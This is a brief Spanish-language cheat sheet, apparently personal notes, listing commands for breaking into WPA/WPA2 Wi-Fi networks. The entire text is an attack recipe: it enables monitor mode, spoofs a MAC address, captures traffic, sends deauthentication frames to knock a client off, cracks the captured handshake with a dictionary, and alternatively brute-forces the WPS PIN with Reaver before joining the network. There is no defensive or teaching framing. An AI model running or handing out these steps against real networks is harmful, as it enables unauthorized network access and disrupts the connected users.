----------------------------------ATAQUE AIRCRACK PARA WPA/WPA2----------------------------------- #MEDIANTE DICCIONARIOairmon-ng start wlan0(opcional) kill (procesos)(opc)ifconfig mon0 down(opc)macchanger -m 00:11:22:33:44:55 mon0(opc)ifconfig mon0 up(opc)airodump-ng mon0(opcional) gedit datos.txt & (ESSID, BSSID, CH, ENC)-- nueva terminal --airodump-ng -c (channel) --bssid (MAC) mon0 (buscar mac de cliente)airodump-ng -c (channel) --bssid (MAC) mon0 -w nombre_archivo (esto si o sii)-- nueva terminal --aireplay-ng -0 5(cantidad de mensajes de desautentificacion) -a (MAC) -c (MAC cliente) mon0-- nueva terminal --lsaircrack-ng -w (ruta/al/diction) nombre_archivo.cap-----------------------------------------------------------------#ATAQUE POR REAVERairmon-ng start wlan0wash -C -i mon0(opcional)gedit datos.txt & (ESSID) (BSSID) (CANAL) (ENC)reaver -i mon0 -b (MAC) -c (canal)-N -S -d 8 -vv -w (como si fueramos windows7) -m (mac falsa)...Una vez haya finalizado y encotr el pin...-GUARDAMOS EL PIN EN DATOS (opcional)-nano wpa_supp.conf (ctrl_interface/var/run/wpa_supplicant, ctrl_interface_group=0, update_config=1)wpa_supplicant -Dwext -iwlan0 -c wpa_supp.conf -Bwpa_cli (status, wps_reg (MAC) (PIN), save)